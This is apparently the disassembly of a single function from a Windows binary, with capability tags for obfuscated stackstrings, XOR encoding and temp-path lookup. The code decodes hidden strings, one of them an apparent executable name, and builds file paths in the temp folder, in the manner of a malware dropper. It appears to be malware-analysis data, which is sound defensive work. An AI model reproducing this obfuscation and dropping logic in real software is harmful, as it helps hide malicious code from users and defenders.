Function at 0x140001380
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [0x140004110]
xor rax, rsp
mov qword [rsp + 0x190], rax
xor eax, eax
lea rsi, [0x140004140]
xor edx, edx
mov r8d, 0x104
mov rcx, rsi
mov byte [rsp + 0x30], 0x61
mov byte [rsp + 0x31], 0x61
mov byte [rsp + 0x32], 0x2e
mov byte [rsp + 0x33], 0x64
mov byte [rsp + 0x34], 0x61
mov byte [rsp + 0x35], 0x74
mov byte [rsp + 0x36], 0
mov word [rsp + 0x37], ax
mov byte [rsp + 0x39], al
call sub.MSVCR90.dll_memset
lea rcx, [0x140004250]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
or rcx, 0xffffffffffffffff
xor ebx, ebx
xor eax, eax
lea rdi, [rsp + 0x20]
mov byte [rsp + 0x20], 0x6a
mov byte [rsp + 0x21], 0x74
mov byte [rsp + 0x22], 0x77
mov byte [rsp + 0x23], 0x2f
mov byte [rsp + 0x24], 0x2f
mov byte [rsp + 0x25], 0x2a
mov byte [rsp + 0x26], 0x62
mov byte [rsp + 0x27], 0x74
mov byte [rsp + 0x28], 0x62
mov byte [rsp + 0x29], 0
repne scasb al, byte [rdi]
mov r8d, ebx
mov rdi, rbx
not rcx
dec rcx
movsxd r9, ecx
test ecx, ecx
jle 0x14000146d
mov eax, r8d
inc rdi
inc r8d
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, 3
add byte [rsp + rdi + 0x1f], al
cmp rdi, r9
jl 0x140001451
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x80]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x80]
lea rdx, [rsp + 0x20]
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1400014b0
call fcn.140001110
test eax, eax
jne 0x1400015f4
mov rax, qword [str.qa_i4420_fqpn7__k1_14..__kk_21103446_bq43bcobc]
or rcx, 0xffffffffffffffff
mov rdi, rsi
mov qword [rsi], rax
mov rax, qword [0x140003278]
mov qword [rsi + 8], rax
mov rax, qword [0x140003280]
mov qword [rsi + 0x10], rax
mov rax, qword [0x140003288]
mov qword [rsi + 0x18], rax
mov rax, qword [0x140003290]
mov qword [rsi + 0x20], rax
mov rax, qword [0x140003298]
mov qword [rsi + 0x28], rax
xor eax, eax
repne scasb al, byte [rdi]
mov rdi, rbx
not rcx
dec rcx
movsxd r8, ecx
test ecx, ecx
jle 0x14000155a
nop dword [rax + rax]
mov eax, 0x55555556
inc rdi
imul ebx
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
add al, al
add dl, al
movzx eax, bl
inc ebx
sub al, dl
add al, 2
add byte [rdi + rsi - 1], al
cmp rdi, r8
jl 0x140001530
xor eax, eax
lea rdx, [0x140004149]
lea rcx, [rsp + 0x40]
lea r8d, [rax + 0x14]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov word [rsp + 0x70], ax
call qword [sym.imp.MSVCR90.dll_strncpy]
mov r8, qword [str.0109b3_]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor edx, edx
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
inc rdx
mov byte [rdi + rdx - 2], al
test al, al
jne 0x1400015b0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x30]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1400015e0
jmp 0x14000173f
xor eax, eax
lea rdx, [0x140004149]
lea rcx, [rsp + 0x40]
lea r8d, [rax + 0x14]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov word [rsp + 0x70], ax
call qword [sym.imp.MSVCR90.dll_strncpy]
mov rdx, qword [str.0109b3_]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140001650
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x30]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140001680
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400012d0
test eax, eax
jne 0x140001751
xor eax, eax
lea rdx, [0x14000425e]
lea rcx, [rsp + 0x40]
lea r8d, [rax + 0x18]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov word [rsp + 0x70], ax
call qword [sym.imp.MSVCR90.dll_strncpy]
mov rdx, qword [str.0109b3_]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140001700
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x30]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140001730
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400012d0
xor eax, eax
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140001840
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret